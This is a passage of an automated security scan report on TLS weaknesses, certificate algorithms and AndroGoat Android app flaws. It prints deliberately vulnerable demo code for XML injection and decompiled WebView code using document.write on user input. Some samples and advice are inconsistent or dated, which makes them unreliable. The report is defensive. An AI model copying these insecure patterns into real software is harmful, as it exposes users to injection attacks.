The recommended TLS configuration should enforce the following recommendations:

- Restrict to `TLSv1` and above, with `TLS1.2` being preferred
- If `SSLv3` is required, it is advised to implement the `TLS Fallback SCSV` feature to prevent protocol downgrade attacks
- Disable Anonymous Diffie-Hellman ( `ADH` )
- Disable `aNULL` and `eNull` cipher suites
- Disable Export key exchange suites
- Remove `RC4` support
- Remove `DES` support
- Remove `MD5` support
- Prefer `SHA256` over `SHA1`
- Prefer `AES128` over `AES256` as 256 offers little security advantages and is less robust to timing attacks
- Disable Client-Initiated Renegotiation
- Disable TLS compression
- Offer only ciphers with a key length of greater than 128bit
- Offer cipher suites with Perfect-Forward Secrecy protocol properties ( `DHE` , `ECDHE` )
- Use custom Diffie-Hellman group to protect against Logjam attack
- Implement the HTTP Strict Transport Security header field
- Implement `OSCP stapling`

Sample of a secure TLS configuration for Nginx generated with Mozilla SSL Configuration Generator

<> NGINX

```
    server {
        listen 443 ssl;

        # certs sent to the client in SERVER HELLO are concatenated in ssl_certificate
        ssl_certificate /path/to/signed_cert_plus_intermediates;
        ssl_certificate_key /path/to/private_key;
        ssl_session_timeout 1d;
        ssl_session_cache shared:SSL:50m;
        ssl_session_tickets off;

        # Diffie-Hellman parameter for DHE ciphersuites, recommended 2048 bits
        ssl_dhparam /path/to/dhparam.pem;

        # modern configuration. tweak to your needs.
        ssl_protocols TLSv1.1 TLSv1.2;
        ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-
RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-
AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-
SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK';
        ssl_prefer_server_ciphers on;

        # HSTS (ngx_http_headers_module is required) (15768000 seconds = 6 months)
        add_header Strict-Transport-Security max-age=15768000;

        # OCSP Stapling ---
        # fetch OCSP records from URL in ssl_certificate and cache them
        ssl_stapling on;
        ssl_stapling_verify on;

        ## verify chain of trust of OCSP response using Root CA and Intermediate certs
        ssl_trusted_certificate /path/to/root_CA_cert_plus_intermediates;

        resolver <IP DNS resolver>;

        ....
    }
```

### References

- Mozilla Secure TLS/SSL Configuration
- Transport Layer Protection Cheat Sheet (OWASP)
- SSL/TLS Deployment Best Practices (SSLabs)

---

## MEDIUM 25. TLS_FALLBACK_SCSV Not Supported

The server does not support TLS_FALLBACK_SCSV, leaving it vulnerable to protocol downgrade attacks.

This vulnerability indicates that the server does not support `TLS_FALLBACK_SCSV` (Signaling Cipher Suite Value), which is a mechanism designed to prevent protocol downgrade attacks in SSL/TLS connections.

`TLS_FALLBACK_SCSV` is crucial because:

1. It allows clients to indicate when they're falling back to a lower protocol version due to connection failures.
2. It enables servers to detect and prevent malicious downgrade attempts.
3. It helps maintain the highest possible level of security in SSL/TLS connections.

When `TLS_FALLBACK_SCSV` is not supported, the server becomes vulnerable to:

1. Protocol Downgrade Attacks: An attacker can force the use of older, less secure protocol versions.
2. Man-in-the-Middle (MitM) Attacks: Downgrading to a weaker protocol can make it easier for attackers to intercept and decrypt communications.
3. Exploitation of Vulnerabilities in Older Protocols: Older SSL/TLS versions may have known vulnerabilities that can be exploited once a downgrade occurs.

**Example Scenario:**

An attacker intercepts the initial handshake between a client and server. The attacker manipulates the connection to fail, causing the client to retry with a lower protocol version. Without `TLS_FALLBACK_SCSV`, the server accepts this downgrade, potentially exposing the connection to vulnerabilities in the older protocol version. The absence of `TLS_FALLBACK_SCSV` support violates best practices for SSL/TLS security and can impact compliance with various security standards and regulations.

### Technical Details

Finding #1

**fallback_SCSV** detected on `demo.testfire.net`

- **Finding**: NOT supported

### Recommendation

When TLS_FALLBACK_SCSV (Signaling Cipher Suite Value) is not supported, it can lead to potential downgrade attacks. Here are strategies to mitigate this risk:

**Proactive Strategies**

1. **Disable SSL/TLS Version Fallback**: Configure servers to disable fallback to older SSL/TLS versions. This prevents attackers from forcing connections to use vulnerable protocols.
2. **Enforce Minimum TLS Version**: Set a minimum acceptable TLS version (e.g., TLS 1.2) on both client and server sides to prevent downgrade to vulnerable versions.
3. **Regular Security Scans**: Conduct periodic scans of your infrastructure to identify and address any TLS configuration weaknesses.
4. **Monitor for Unusual TLS Negotiation Patterns**: Implement monitoring to detect attempts at forcing protocol downgrades.

**Implementation Examples**

1. Nginx Configuration

To disable SSL/TLS version fallback and enforce a minimum TLS version in Nginx:

```
server {
    listen 443 ssl;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
    # Other SSL settings...
}
```

2. Apache Configuration

For Apache, use the following configuration to achieve similar results:

```
<VirtualHost *:443>
    SSLEngine on
    SSLProtocol -all +TLSv1.2 +TLSv1.3
    SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256
    SSLHonorCipherOrder on
    # Other SSL settings...
</VirtualHost>
```

3. OpenSSL Command for Testing

Use OpenSSL to test your server's TLS configuration:

```
openssl s_client -connect example.com:443 -tls1_2
```

This command attempts to establish a TLS 1.2 connection. If successful, it indicates that your server is correctly configured to use modern TLS versions.

**Monitoring for Downgrade Attempts**

- Using fail2ban

You can use `fail2ban` to monitor logs for potential downgrade attempts:

1. Create a custom filter in `/etc/fail2ban/filter.d/tls-downgrade.conf` :

```
[Definition]
failregex = SSL routines:SSL23_GET_CLIENT_HELLO:unsupported protocol.*client=<HOST>
```

2. Add a jail in `/etc/fail2ban/jail.local` :

```
[tls-downgrade]
enabled = true
filter = tls-downgrade
logpath = /var/log/nginx/error.log
```

```
maxretry = 3
bantime = 3600
```

3. Restart fail2ban:

```
sudo systemctl restart fail2ban
```

This configuration will ban IP addresses that make repeated attempts to connect using unsupported (likely older) SSL/TLS versions.

By implementing these measures, you can significantly reduce the risk of TLS downgrade attacks, even when TLS_FALLBACK_SCSV is not supported.

### References

- NIST Guidelines for TLS Implementations
- RFC 7507 - TLS Fallback Signaling Cipher Suite Value (SCSV) for Preventing Protocol Downgrade Attacks
- OWASP TLS Cheat Sheet

---

## MEDIUM 26. Weak Cryptographic Key and Signature Algorithm in SSL/TLS Certificate

The SSL/TLS certificate uses both a weak cryptographic key and a weak signature algorithm, potentially compromising the security of encrypted connections and allowing certificate forgery or other cryptographic attacks.

SSL/TLS certificates with weak cryptographic keys or signature algorithms pose significant security risks, leaving systems vulnerable to cryptographic attacks.

Key points about weak cryptographic keys and signature algorithms:

1. Weak Cryptographic Keys:

- RSA Keys: RSA keys shorter than 2048 bits are considered weak. The current recommendation is to use at least 2048 bits, with 3072 bits or higher for long-term security.
- DSA Keys: Similar to RSA, DSA keys shorter than 2048 bits are considered weak and should be avoided.
- Computational Advances: As computational power increases, shorter key lengths become increasingly vulnerable to attacks.
- Industry Standards: Many industry standards and compliance requirements mandate minimum key lengths for SSL/TLS certificates.

2. Weak Signature Algorithms:

- Obsolete Algorithms: MD5 and SHA1 are considered cryptographically broken and should not be used.
- Collision Attacks: Weak algorithms are vulnerable to collision attacks, where an attacker can create a fraudulent certificate with the same signature as a legitimate one.
- Industry Standards: Many industry standards and compliance requirements prohibit the use of weak signature algorithms.
- Backwards Compatibility: Some systems may still use weak algorithms for backwards compatibility, but this practice is strongly discouraged.

**Real-World Implications:** A website using a certificate with a 1024-bit RSA key or signed with SHA1 could be targeted by attackers with significant computational resources. They could decrypt intercepted traffic or create forged certificates, enabling man-in-the-middle attacks and compromising the security of communications. As such, adherence to industry standards requiring strong keys and algorithms is essential to maintaining SSL/TLS security.

### Technical Details

#### Finding #1

**WEAK_SIGNATURE_ALGORITHMS** detected on `demo.testfire.net`

- **Finding**: Weak signature algorithms detected in TLS 1.2: RSA+SHA1.

### Recommendation

To address weak key vulnerabilities:

1. **Use Adequate Key Lengths:**
   - For RSA and DSA, use a minimum key length of 2048 bits.
   - Consider using 3072 bits or higher for long-term security.
2. **Consider Elliptic Curve Cryptography (ECC):**
   - ECC provides equivalent security with shorter key lengths, offering better performance.
   - Use curves like P-256 or P-384 for strong security.
3. **Regular Key Rotation:**
   - Implement a policy to regularly rotate keys, especially when upgrading to stronger key lengths.

4. **Audit Existing Certificates:**
    - Regularly audit your SSL/TLS certificates to identify and replace any with weak keys.
5. **Use Modern Certificate Authorities:**
    - Choose CAs that enforce strong key requirements and follow industry best practices.
6. **Implement Strong Key Generation Practices:**
    - Use cryptographically secure random number generators when generating keys.
    - Consider using hardware security modules (HSMs) for key generation and storage.

### References

- NIST Recommendation for Key Management
- Baseline Requirements for TLS Server Certificates
- SSL Labs Best Practices

---

MEDIUM

## 27. Abuse of mobile network connection

The application forces the use of mobile network connection.

The download manager is a system service that handles long-running HTTP downloads. The application should not force using only the mobile network connection

### Technical Details

Finding #1

Only mobile network connection is allowed Taint traced from reachable component: `owasp.sat.agoat.DownloadInvoiceService$downloadFile$1` found at `owasp.sat.agoat.DownloadInvoiceService` . From const `1` to sink `android.app.DownloadManager$Request` `android.app.DownloadManager$Request.setAllowedNetworkTypes(int)` . Taint trace:

```
at android.app.DownloadManager$Request.setAllowedNetworkTypes()
at owasp.sat.agoat.DownloadInvoiceService$downloadFile$1.invoke()
at android.app.DownloadManager$Request.setNotificationVisibility()
at owasp.sat.agoat.DownloadInvoiceService$downloadFile$1.invoke()
```

Method `owasp.sat.agoat.DownloadInvoiceService$downloadFile$1.invoke()` :

```
public final void invoke(org.jetbrains.anko.AnkoAsyncContext p10)
{
    kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p10, $receiver);
    android.net.Uri v1 = android.net.Uri.parse(https://github.com/satishpatnayak/MyTest/blob/master/AndroGoatInvoice.txt);
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1, Uri.parse(url1));
    android.app.DownloadManager$Request v2_2 = new android.app.DownloadManager$Request(v1);
    String v3 = v1.getLastPathSegment();
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, url.lastPathSegment);
    int v5 = 0;
    v2_2.setAllowedNetworkTypes(3);
    v2_2.setTitle(((CharSequence) v3));
    v2_2.setDescription(((CharSequence) The File is downloading...));
    v2_2.allowScanningByMediaScanner();
    v2_2.setNotificationVisibility(1);
    v2_2.setDestinationInExternalPublicDir(android.os.Environment.DIRECTORY_DOWNLOADS, String.valueOf(System.currentTimeMillis()));
    kotlin.TypeCastException v6_8 = this.this$0.getSystemService(download);
    if (v6_8 == null) {
        throw new kotlin.TypeCastException(null cannot be cast to non-null type android.app.DownloadManager);
    } else {
        ((android.app.DownloadManager) v6_8).enqueue(v2_2);
        return;
    }
}
```

Method `owasp.sat.agoat.DownloadInvoiceService$downloadFile$1.invoke()` :

```
public final void invoke(org.jetbrains.anko.AnkoAsyncContext p10)
{
```

```
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p10, $receiver);
        android.net.Uri v1 = android.net.Uri.parse(https://github.com/satishpatnayak/MyTest/blob/master/AndroGoatInvoice.txt);
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1, Uri.parse(url1));
        android.app.DownloadManager$Request v2_2 = new android.app.DownloadManager$Request(v1);
        String v3 = v1.getLastPathSegment();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v3, url.lastPathSegment);
        int v5 = 0;
        v2_2.setAllowedNetworkTypes(3);
        v2_2.setTitle(((CharSequence) v3));
        v2_2.setDescription(((CharSequence) The File is downloading...));
        v2_2.allowScanningByMediaScanner();
        v2_2.setNotificationVisibility(1);
        v2_2.setDestinationInExternalPublicDir(android.os.Environment.DIRECTORY_DOWNLOADS, String.valueOf(System.currentTimeMillis()));
        kotlin.TypeCastException v6_8 = this.this$0.getSystemService(download);
        if (v6_8 == null) {
            throw new kotlin.TypeCastException(null cannot be cast to non-null type android.app.DownloadManager);
        } else {
            ((android.app.DownloadManager) v6_8).enqueue(v2_2);
            return;
        }
    }
```

### Recommendation

The application should allow the users to use either the Wi-Fi or a mobile network connection. A common strategy for apps is to only fetch large data if a Wi-Fi network is available.

---

MEDIUM

## 28. XML Injection

XML injection is a vulnerability that occurs when untrusted user input is not properly validated or sanitized before being incorporated into XML data. Attackers can exploit this vulnerability by injecting malicious XML content, which can lead to unauthorized access, data manipulation, or denial of service attacks.

XML injection is a vulnerability that arises from a lack of proper validation and sanitization of user input before incorporating it into the XML configuration files or streams. This oversight allows an attacker to exploit the application by injecting malicious XML content. By manipulating the XML structure or introducing malicious entities, an attacker can potentially disrupt the application logic, tamper with data, or extract sensitive information.

DART

```
 import 'dart:convert';
import 'dart:io';

import 'package:flutter/material.dart';
import 'package:path_provider/path_provider.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'XML Injection Demo',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      home: MyHomePage(),
    );
  }
}

class MyHomePage extends StatefulWidget {
  @override
  _MyHomePageState createState() => _MyHomePageState();
}

class _MyHomePageState extends State<MyHomePage> {
  final TextEditingController _usernameController = TextEditingController();
  final TextEditingController _passwordController = TextEditingController();

  @override
  void dispose() {
    _usernameController.dispose();
```

```
    _passwordController.dispose();
    super.dispose();
  }

  Future<void> saveConfigFile() async {
    final directory = await getApplicationDocumentsDirectory();
    final configFile = File('${directory.path}/config.xml');

    // Create XML data
    final xmlData = '''
    <root>
      <username>${_usernameController.text}</username>
      <password>${_passwordController.text}</password>
    </root>
    ''';

    // Save the XML to the configuration file
    await configFile.writeAsString(xmlData);
  }

  void login() {
    final username = _usernameController.text;
    final password = _passwordController.text;

    // Perform login logic
    print('Performing login with username: $username and password: $password');
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('XML Injection Demo'),
      ),
      body: Padding(
        padding: EdgeInsets.all(16.0),
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.start,
          children: [
            Text('Enter username:'),
            TextField(
              controller: _usernameController,
            ),
            SizedBox(height: 16.0),
            Text('Enter password:'),
            TextField(
              controller: _passwordController,
              obscureText: true,
            ),
            SizedBox(height: 16.0),
            ElevatedButton(
              onPressed: () async {
                await saveConfigFile();
                login();
              },
              child: Text('Login'),
            ),
          ],
        ),
      ),
    );
  }
}
```

**SWIFT**

```
 import SwiftUI

struct ContentView: View {
    @State private var username = ""
    @State private var password = ""

    var body: some View {
        VStack {
            Text("Enter username:")
            TextField("Username", text: $username)
                .textFieldStyle(RoundedBorderTextFieldStyle())
```

```
            Text("Enter password:")
            SecureField("Password", text: $password)
                .textFieldStyle(RoundedBorderTextFieldStyle())

            Button(action: {
                saveConfigFile()
                login()
            }) {
                Text("Login")
            }
        }
        .padding()
    }

    func saveConfigFile() {
        // Create XML data
        let xmlData = '''
        <root>
          <username>\(username)</username>
          <password>\(password)</password>
        </root>
        '''

        // Save the XML to the configuration file
        let configFilePath = "config.xml"
        do {
            try xmlData.write(toFile: configFilePath, atomically: true, encoding: .utf8)
        } catch {
            print("Failed to write XML to file: \(error)")
        }
    }

    func login() {
        // Perform login logic
        print("Performing login with username: \(username) and password: \(password)")
    }
}

@main
struct XMLInjectionApp: App {
    var body: some Scene {
        WindowGroup {
            ContentView()
        }
    }
}
```

KOTLIN

```
 import android.os.Bundle
import android.widget.Button
import android.widget.EditText
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.File
import javax.xml.parsers.DocumentBuilderFactory
import javax.xml.transform.TransformerFactory
import javax.xml.transform.dom.DOMSource
import javax.xml.transform.stream.StreamResult

class MainActivity : AppCompatActivity() {

    private lateinit var usernameEditText: EditText
    private lateinit var passwordEditText: EditText
    private lateinit var loginButton: Button

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        usernameEditText = findViewById(R.id.usernameEditText)
        passwordEditText = findViewById(R.id.passwordEditText)
        loginButton = findViewById(R.id.loginButton)

        loginButton.setOnClickListener {
            val username = usernameEditText.text.toString()
            val password = passwordEditText.text.toString()
```

```
            saveConfigFile(username, password)
            login(username, password)
        }
    }

    private fun saveConfigFile(username: String, password: String) {
        val configFilePath = "config.xml"

        try {
            val configFile = File(configFilePath)
            val xmlData = configFile.readText()

            val docBuilder = DocumentBuilderFactory.newInstance().newDocumentBuilder()
            val doc = docBuilder.parse(xmlData.byteInputStream())
            doc.documentElement.normalize()

            val root = doc.documentElement

            root.getElementsByTagName("username").item(0).textContent = username
            root.getElementsByTagName("password").item(0).textContent = password

            val transformer = TransformerFactory.newInstance().newTransformer()
            val result = StreamResult(configFile)
            val source = DOMSource(doc)
            transformer.transform(source, result)
        } catch (e: Exception) {
            Toast.makeText(this, "Failed to save configuration file", Toast.LENGTH_SHORT).show()
        }
    }

    private fun login(username: String, password: String) {
        // Perform login logic
        Toast.makeText(this, "Performing login with username: $username and password: $password", Toast.LENGTH_SHORT).show()
    }
}
```

### Technical Details

#### Finding #1

The parameter at position: `0` of the method `loadData` in the class `WebView` may be vulnerable to XML injection. Taint traced from non-reachable component: `owasp.sat.agoat.XSSActivity` . The TaintElement is coming from: Class `XSSActivity` Method `onCreate` Position `0` Signature `(Landroid/os/Bundle;)V` . Call trace:

```
 at android.webkit.WebView.loadData
at owasp.sat.agoat.XSSActivity.onCreate
at owasp.sat.agoat.XSSActivity.onCreate
```

at `android.webkit.WebView.loadData`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.XSSActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p6)
    {
        super.onCreate(p6);
        this.setContentView(2131296308);
        android.webkit.WebView v0_3 = ((android.webkit.WebView) this.findViewById(2131165373));
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_3, webview1);
        v0_3.setWebChromeClient(new android.webkit.WebChromeClient());
        android.webkit.WebSettings v1_1 = v0_3.getSettings();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, webSettings1);
        v1_1.setJavaScriptEnabled(1);
        v0_3.loadData(<html>
<body>
<script>
function displayContent()
{
var a=document.getElementById("name");
document.write(a.value);

}
```

```
</script>
Name: <input type="text" id="name"/>
</br></br><input type="button" value="Display" onclick="displayContent()" style="background-color:black;color: white;
  border: 2px solid #000000"/>
</body>

</html>, text/html, UTF-8);
        return;
    }
```

at `owasp.sat.agoat.XSSActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p6)
    {
        super.onCreate(p6);
        this.setContentView(2131296308);
        android.webkit.WebView v0_3 = ((android.webkit.WebView) this.findViewById(2131165373));
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_3, webview1);
        v0_3.setWebChromeClient(new android.webkit.WebChromeClient());
        android.webkit.WebSettings v1_1 = v0_3.getSettings();
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_1, webSettings1);
        v1_1.setJavaScriptEnabled(1);
        v0_3.loadData(<html>
<body>
<script>
function displayContent()
{
var a=document.getElementById("name");
document.write(a.value);

}
</script>
Name: <input type="text" id="name"/>
</br></br><input type="button" value="Display" onclick="displayContent()" style="background-color:black;color: white;
  border: 2px solid #000000"/>
</body>

</html>, text/html, UTF-8);
        return;
    }
```

## Recommendation

To mitigate XML injection vulnerabilities, consider:

- Implement proper input validation and sanitization techniques.
- Validate user input against expected formats, and sanitize it by removing or escaping characters that could be interpreted as XML tags or entities.
- Consider using secure XML parsing libraries or APIs that handle data binding securely.

**DART**

```
import 'dart:convert';
import 'dart:io';

import 'package:flutter/material.dart';
import 'package:path_provider/path_provider.dart';
import 'package:xml/xml.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'XML Injection Demo',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      home: MyHomePage(),
    );
  }
}
```

```
class MyHomePage extends StatefulWidget {
  @override
  _MyHomePageState createState() => _MyHomePageState();
}

class _MyHomePageState extends State<MyHomePage> {
  final TextEditingController _usernameController = TextEditingController();
  final TextEditingController _passwordController = TextEditingController();

  @override
  void dispose() {
    _usernameController.dispose();
    _passwordController.dispose();
    super.dispose();
  }

  Future<void> saveConfigFile() async {
    final directory = await getApplicationDocumentsDirectory();
    final configFile = File('${directory.path}/config.xml');

    // Create XML data
    final builder = XmlBuilder();
    builder.processing('xml', 'version="1.0"');
    builder.element('root', nest: () {
      builder.element('username', nest: _usernameController.text);
      builder.element('password', nest: _passwordController.text);
    });
    final xmlData = builder.build().toXmlString(pretty: true);

    // Save the XML to the configuration file
    await configFile.writeAsString(xmlData);
  }

  void login() {
    final username = _usernameController.text;
    final password = _passwordController.text;

    // Perform login logic
    print('Performing login with username: $username and password: $password');
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('XML Injection Demo'),
      ),
      body: Padding(
        padding: EdgeInsets.all(16.0),
        child: Column(
          crossAxisAlignment: CrossAxisAlignment.start,
          children: [
            Text('Enter username:'),
            TextField(
              controller: _usernameController,
            ),
            SizedBox(height: 16.0),
            Text('Enter password:'),
            TextField(
              controller: _passwordController,
              obscureText: true,
            ),
            SizedBox(height: 16.0),
            ElevatedButton(
              onPressed: () async {
                await saveConfigFile();
                login();
              },
              child: Text('Login'),
            ),
          ],
        ),
      ),
    );
  }
}
```

SWIFT

```
 import Foundation

func main() {
    let configFilePath = "config.xml"

    // Load configuration file
    guard let configFileURL = Bundle.main.url(forResource: "config", withExtension: "xml") else {
        print("Failed to load configuration file")
        return
    }

    guard let xmlData = try? Data(contentsOf: configFileURL) else {
        print("Failed to read configuration file")
        return
    }

    // Parse XML
    let xmlDoc: XMLDocument
    do {
        xmlDoc = try XMLDocument(data: xmlData, options: .documentTidyXML)
    } catch {
        print("Failed to parse XML: \(error)")
        return
    }

    guard let root = xmlDoc.rootElement() else {
        print("Invalid XML structure")
        return
    }

    // Read configuration values from user input
    guard let username = getUserInput(prompt: "Enter username:"), let password = getUserInput(prompt: "Enter password:") else {
        print("Invalid input")
        return
    }

    // Update configuration values in XML
    if let usernameElement = root.elements(forName: "username").first {
        usernameElement.stringValue = username
    }

    if let passwordElement = root.elements(forName: "password").first {
        passwordElement.stringValue = password
    }

    // Save the modified XML back to the configuration file
    guard let modifiedXmlData = xmlDoc.xmlData(options: .nodePrettyPrint) else {
        print("Failed to generate modified XML")
        return
    }

    do {
        try modifiedXmlData.write(to: configFileURL)
    } catch {
        print("Failed to write modified XML to file: \(error)")
        return
    }

    // Use the configuration values
    login(username: username, password: password)
}

func getUserInput(prompt: String) -> String? {
    print(prompt, terminator: " ")
    return readLine()
}

func login(username: String, password: String) {
    // Perform login logic
    print("Performing login with username: \(username) and password: \(password)")
}

// Start the program
main()
```

KOTLIN

```
 import android.os.Bundle
import android.widget.Button
import android.widget.EditText
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import org.w3c.dom.Document
import java.io.File
import javax.xml.parsers.DocumentBuilderFactory
import javax.xml.transform.TransformerFactory
import javax.xml.transform.dom.DOMSource
import javax.xml.transform.stream.StreamResult

class MainActivity : AppCompatActivity() {

    private lateinit var usernameEditText: EditText
    private lateinit var passwordEditText: EditText
    private lateinit var loginButton: Button

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        usernameEditText = findViewById(R.id.usernameEditText)
        passwordEditText = findViewById(R.id.passwordEditText)
        loginButton = findViewById(R.id.loginButton)

        loginButton.setOnClickListener {
            val username = usernameEditText.text.toString()
            val password = passwordEditText.text.toString()

            saveConfigFile(username, password)
            login(username, password)
        }
    }

    private fun saveConfigFile(username: String, password: String) {
        val configFilePath = "config.xml"

        try {
            val configFile = File(configFilePath)
            val xmlDoc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument()

            val rootElement = xmlDoc.createElement("root")
            xmlDoc.appendChild(rootElement)

            val usernameElement = xmlDoc.createElement("username")
            usernameElement.appendChild(xmlDoc.createTextNode(username))
            rootElement.appendChild(usernameElement)

            val passwordElement = xmlDoc.createElement("password")
            passwordElement.appendChild(xmlDoc.createTextNode(password))
            rootElement.appendChild(passwordElement)

            val transformer = TransformerFactory.newInstance().newTransformer()
            val result = StreamResult(configFile)
            val source = DOMSource(xmlDoc)
            transformer.transform(source, result)
        } catch (e: Exception) {
            Toast.makeText(this, "Failed to save configuration file", Toast.LENGTH_SHORT).show()
        }
    }

    private fun login(username: String, password: String) {
        // Perform login logic
        Toast.makeText(this, "Performing login with username: $username and password: $password", Toast.LENGTH_SHORT).show()
    }
}
```

### References

- Testing for XML Injection (OWASP)

---

LOW **29. Attribute usesCleartextTraffic set**

**CVSS v3:** 5.4

Application sets the usesCleartextTraffic attribute.

The `android:usesCleartextTraffic` attribute indicates whether the app intends to use cleartext network traffic, such as cleartext HTTP.

The default value for apps that target API level 27 or lower is "true". Apps that target API level 28 or higher default to "false".

### Technical Details

Finding #1

This app targets API level 27 or less and no explicit value was set to the `usesCleartextTraffic` attribute, on these APIs the `usesCleartextTraffic` attribute default value is true. This exposes your users sensitive information and open up the application to injection attacks.

### Recommendation

Explicitly set the attribute `android:usesCleartextTraffic` value to `false` and define an Android Network Security Config.

The default value for apps that target API level 27 or lower is `true` . Apps that target API level 28 or higher default to `false` .

XML

```
<application android:icon="@drawable/icon" android:usesCleartextTraffic="false">
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | `CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` |
| Attack Vector: | **Network (N)** Adjacent (A) Local (L) Physical (P) |
| Attack Complexity: | **Low (L)** High (H) |
| Privileges Required: | None (N) **Low (L)** High (H) |
| User Interaction: | None (N) **Required (R)** |
| Scope: | **Changed (C)** Unchanged (U) |
| Confidentiality: | High (H) **Low (L)** None (N) |
| Integrity: | High (H) **Low (L)** None (N) |
| Availability: | High (H) Low (L) **None (N)** |

### References

- Storage updates in Android 11

---

## LOW 30. Use of deprecated TLS/SSL protocol version

Application sets deprecated SSL/TLS protocols with known security and privacy issues.

There are six protocols in the SSL/TLS family: SSL v2, SSL v3, TLS v1.0, TLS v1.1, TLS v1.2, and TLS v1.3:

- SSL v2 is insecure and must not be used. This protocol version can attack RSA keys and sites with the same name using the DROWN attack.
- SSL v3 is insecure when used with HTTP due to the SSLv3 POODLE attack. The protocol is considered weak when used with other protocols. The protocol is deprecated and must not be used.
- TLS v1.0 and TLS v1.1 are legacy protocol that suffers from the BEAST attack. Although modern have implemented some mitigations, the protocol still suffers from known weaknesses and has been deprecated by PCI DSS and browsers starting January 2020.
- TLS v1.2 and v1.3 are not known to have security issues.

### Technical Details

Finding #1

**TLS_1_0_DEPRECATED** detected on `demo.testfire.net`

- **Finding**: TLS 1.0 offered: offered (deprecated)

### Recommendation

TLS v1.2 or TLS v1.3 should be the main supported protocol as this version offers modern authenticated encryption.

### References

- TLSv1.0 and TLSv1.1 deprecation
- SSL and TLS deployment best practices

---

## LOW 31. Google Calendar – Exposure

Detected publicly accessible Google Calendar embedded on the target that may expose sensitive information including meeting details, attendee names, event schedules, and internal organizational data.

Detected publicly accessible Google Calendar embedded on the target that may expose sensitive information including meeting details, attendee names, event schedules, and internal organizational data.

### Technical Details

Finding #1

### Google Calendar – Exposure:

- https://calendar.google.com/calendar/embed?src=hl6cjgs6ep1h7oniqgueu2bhbo%40group.calendar.google.com&ctz=America%2FChicago

Reproduction `curl` command:

```
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15' 'https://owasp.org/'
```

Request:

```
GET / HTTP/1.1
Host: owasp.org
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
```

Response:

```
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Access-Control-Allow-Origin: *
Age: 30
Cache-Control: max-age=600
Cf-Cache-Status: DYNAMIC
Cf-Ray: 9fe4a5745d87348f-FRA
Content-Security-Policy: default-src 'self' https://*.fontawesome.com https://api.github.com https://*.githubusercontent.com https://*.google-
analytics.com https://owaspadmin.azurewebsites.net https://*.twimg.com https://platform.twitter.com https://www.youtube.com
https://*.doubleclick.net; frame-ancestors 'self'; frame-src https://*.vuejs.org https://*.stripe.com https://*.wufoo.com https://*.sched.com
